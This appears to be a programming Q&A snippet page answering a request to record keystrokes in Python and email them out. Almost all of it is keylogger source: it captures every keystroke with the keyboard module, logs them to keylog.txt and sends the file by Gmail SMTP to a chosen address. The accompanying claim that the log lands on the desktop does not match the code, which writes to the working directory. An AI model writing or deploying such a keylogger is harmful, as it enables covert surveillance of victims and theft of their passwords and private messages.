record key strokes to a .txt file on desktop then email to a specified address in python

To record keystrokes in Python, we can use the keyboard module. We can also use the logging module to write the keystrokes to a file on the desktop. To email the file, we can use the smtplib and email modules.

Here is an example implementation:

main.py
import keyboard
import logging
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication

# Set up keyboard logger
logging.basicConfig(filename='keylog.txt', level=logging.DEBUG, format='%(asctime)s: %(message)s')

# Set up email parameters
to_address = '<destination email address>'
from_address = '<source email address>'
password = '<email password>'
subject = 'Keystroke Log'

def send_email(file):
    # Set up SMTP server
    server = smtplib.SMTP(host='smtp.gmail.com', port=587)
    server.starttls()
    server.login(from_address, password)

    # Create email message
    msg = MIMEMultipart()
    msg['From'] = from_address
    msg['To'] = to_address
    msg['Subject'] = subject

    # Attach keystroke log file to email
    with open(file, 'rb') as f:
        attach = MIMEApplication(f.read(), _subtype='txt')
        attach.add_header('Content-Disposition', 'attachment', filename=file)
        msg.attach(attach)

    # Send email
    server.sendmail(from_address, to_address, msg.as_string())
    server.quit()

# Start keyboard listener
keyboard.start_recording()

try:
    while True:
        # Log keystrokes to file
        events = keyboard.stop_recording()
        logging.info(''.join(e.name for e in events))
        keyboard.start_recording()
except KeyboardInterrupt:
    # Stop keyboard listener and send email
    events = keyboard.stop_recording()
    logging.info(''.join(e.name for e in events))

    send_email('keylog.txt')
1550 chars
54 lines

This script will listen for keystrokes until the user interrupts the program with a keyboard interrupt (Ctrl+C). When the program is interrupted, it will log all of the keystrokes to a file keylog.txt on the desktop and email the file to the specified email address. The email is sent using the SMTP server for the from_address email account.

gistlibby LogSnag